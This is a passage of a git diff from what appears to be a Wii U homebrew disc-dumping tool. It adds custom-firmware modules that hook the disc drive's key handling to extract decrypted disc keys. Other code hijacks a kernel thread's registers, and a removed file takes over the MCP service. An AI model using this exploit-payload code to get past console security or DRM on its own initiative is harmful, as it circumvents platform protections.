odmMemset(keyBuffer, 0, 0x10); + + // Get the session key + int32_t sessionKeyHandle = *(volatile int32_t*)(base + 0x409CC); + + // Decrypt the disc key with the session key + odmDecrypt(sessionKeyHandle, keyBuffer, 0x10, key, 0x10, (void*)0x1E10C00, 0x10); + } + else { + // No session key that encrypted the disc key, so just copy + odmMemcpy((void*)0x1E10C00, key, 0x10); + } + //original code + return odmCreateObject(obj, 0, 0); +} \ No newline at end of file diff --git a/source/cfw/ios_odm/source/main.h b/source/cfw/ios_odm/source/main.h new file mode 100644 index 0000000..5eb6c24 --- /dev/null +++ b/source/cfw/ios_odm/source/main.h @@ -0,0 +1,11 @@ +#include + +typedef uint32_t (*odmCreateObject_t)(void *, int32_t, int32_t); +typedef void * (*odmDecrypt_t)(int32_t, void *, uint32_t, const void *, uint32_t, void *, uint32_t); +typedef void * (*odmMemcpy_t)(void *, const void *, uint32_t); +typedef void * (*odmMemset_t)(void *, int32_t, uint32_t); + +odmCreateObject_t odmCreateObject = (odmCreateObject_t)0x107F20DC; +odmDecrypt_t odmDecrypt = (odmDecrypt_t)0x107F3FE0; +odmMemcpy_t odmMemcpy = (odmMemcpy_t)0x107F4F7C; +odmMemset_t odmMemset = (odmMemset_t)0x107F5018; \ No newline at end of file diff --git a/source/cfw/ios_usb/Makefile b/source/cfw/ios_usb/Makefile new file mode 100644 index 0000000..8b80d0c --- /dev/null +++ b/source/cfw/ios_usb/Makefile @@ -0,0 +1,62 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +BIN2S = $(DEVKITPRO)/tools/bin/bin2s +CFLAGS += -Wall -Wno-unused-variable -Wno-unused-function -mbig-endian -std=gnu99 -march=armv5t -Os +LDFLAGS += -EB -Tlink.ld + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)" + + +#--------------------------------------------------------------------------------- +.PHONY: all dirs $(PROJECTNAME) clean + +all: dirs $(PROJECTNAME) + +$(PROJECTNAME): $(OFILES) + @echo "Linking files for $(PROJECTNAME)..." + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(OFILES) + @$(OBJCOPY) -j .text -j .rodata -j .data -j .bss -O binary $(PROJECTNAME).elf $(PROJECTNAME).bin + @xxd -i $(PROJECTNAME).bin | sed "s/unsigned/static const unsigned/g" > $(PROJECTNAME).h + +dirs: + @mkdir -p build + +clean: + @echo "Cleaning up files from $(PROJECTNAME)..." + @rm -f build/*.o build/*.d + @rmdir build 2>/dev/null || true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME).s $(PROJECTNAME).h + +#--------------------------------------------------------------------------------- + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) \ No newline at end of file diff --git a/source/cfw/ios_usb/link.ld b/source/cfw/ios_usb/link.ld new file mode 100644 index 0000000..8639b15 --- /dev/null +++ b/source/cfw/ios_usb/link.ld @@ -0,0 +1,15 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = 0x101312D0; + + .text : ALIGN(0x04) { + build/crt0.o(.init); + *(.text); + } + .rodata : { + *(.rodata*); + } +} + diff --git a/source/cfw/ios_usb/source/crt0.s b/source/cfw/ios_usb/source/crt0.s new file mode 100644 index 0000000..89e6dee --- /dev/null +++ b/source/cfw/ios_usb/source/crt0.s @@ -0,0 +1,18 @@ +.section ".init" +.arm +.align 4 + +.global _start + +.extern restoreHandle +.type restoreHandle, %function + +_start: + b restoreHandle + .global IOS_DCFlushAllCache +IOS_DCFlushAllCache: + MOV R15, R0 +clean_loop: + MRC p15, 0, r15, c7, c10, 3 + BNE clean_loop + MCR p15, 0, R0, c7, c10, 4 \ No newline at end of file diff --git a/source/cfw/ios_usb/source/main.c b/source/cfw/ios_usb/source/main.c new file mode 100644 index 0000000..4549ede --- /dev/null +++ b/source/cfw/ios_usb/source/main.c @@ -0,0 +1,18 @@ +#include "main.h" + +void restoreHandle() { + uint32_t savedHandle = *(volatile uint32_t*)0x01E10000; + if (IOSReply(savedHandle, 0) != 0) + IOSShutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); +} \ No newline at end of file diff --git a/source/cfw/ios_usb/source/main.h b/source/cfw/ios_usb/source/main.h new file mode 100644 index 0000000..7d1d438 --- /dev/null +++ b/source/cfw/ios_usb/source/main.h @@ -0,0 +1,9 @@ +#include + +typedef void (*IOSShutdown_t)(int32_t); +typedef int32_t (*IOSReply_t)(int32_t, int32_t); + +IOSShutdown_t IOSShutdown = (IOSShutdown_t)0x1012EE4C; +IOSReply_t IOSReply = (IOSReply_t)0x1012ED04; + +void restoreHandle(); diff --git a/source/iosuhax.cpp b/source/iosuhax.cpp deleted file mode 100644 index 5fb4003..0000000 --- a/source/iosuhax.cpp +++ /dev/null @@ -1,71 +0,0 @@ -#include "iosuhax.h" - -int fsaHandle = -1; -int iosuhaxHandle = -1; -int mcpHookHandle = -1; - -void haxchiCallback(IOSError err, void* dummy) { -} - -bool openMCPHook() { - // Take over mcp thread - mcpHookHandle = MCP_Open(); - if (mcpHookHandle < 0) return false; - - IOSError err = IOS_IoctlAsync(mcpHookHandle, 0x62, NULL, 0, NULL, 0, haxchiCallback, NULL); - if (err != IOS_ERROR_OK) { - MCP_Close(mcpHookHandle); - mcpHookHandle = -1; - return false; - } - OSSleepTicks(OSSecondsToTicks(1)); - - if (IOSUHAX_Open("/dev/mcp") < 0) { - MCP_Close(mcpHookHandle); - mcpHookHandle = -1; - return false; - } - return true; -} - -void closeMCPHook() { - if (mcpHookHandle < 0) return; - // close down wupserver, return control to mcp - IOSUHAX_Close(); - OSSleepTicks(OSSecondsToTicks(1)); - - MCP_Close(mcpHookHandle); - mcpHookHandle = -1; -} - -bool openIosuhax() { - iosuhaxHandle = IOSUHAX_Open(NULL); - if (iosuhaxHandle < 0) { - if (!openMCPHook()) { - WHBLogPrint("Couldn't open iosuhax!"); - WHBLogPrint("You should launch Mocha first before starting this app!"); - return false; - } - } - - fsaHandle = IOSUHAX_FSA_Open(); - if (fsaHandle < 0) { - WHBLogPrint("Couldn't open iosuhax_fsa!"); - return false; - } - return true; -} - -void closeIosuhax() { - IOSUHAX_Close(); - closeMCPHook(); - IOSUHAX_FSA_Close(fsaHandle); -} - -int getFSAHandle() { - return fsaHandle; -} - -int getIosuhaxHandle() { - return iosuhaxHandle; -} \ No newline at end of file diff --git a/source/iosuhax.h b/source/iosuhax.h deleted file mode 100644 index ccdaee6..0000000 --- a/source/iosuhax.h +++ /dev/null @@ -1,7 +0,0 @@ -#include "common.h" -#include - -bool openIosuhax(); -void closeIosuhax(); -int getFSAHandle(); -int getIosuhaxHandle(); \ No newline at end of file diff --git a/source/main.cpp b/source/main.cpp deleted file mode 100644 index ff4d479..0000000 --- a/source/main.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include "menu.h" -#include "navigation.h" -#include "iosuhax.h" -#include "filesystem.h" - - -int main(int argc, char **argv) { - // Initialize libraries - WHBProcInit(); - WHBLogConsoleInit(); - FSInit(); - nn::act::Initialize(); - initializeInputs(); - - IMDisableAPD(); // Disable auto-shutdown feature - - // Setup environment to dump discs - if (showLoadingScreen()) { - showMainMenu(); - } - - WHBLogPrint(""); - WHBLogPrint("Exiting dumpling..."); - WHBLogConsoleDraw(); - OSSleepTicks(OSSecondsToTicks(1)); - - // Close application properly - - unmountDevices(); - closeIosuhax(); - WHBProcShutdown(); - WHBLogConsoleFree(); - FSShutdown(); - VPADShutdown(); - nn::act::Finalize(); -} \ No newline at end of file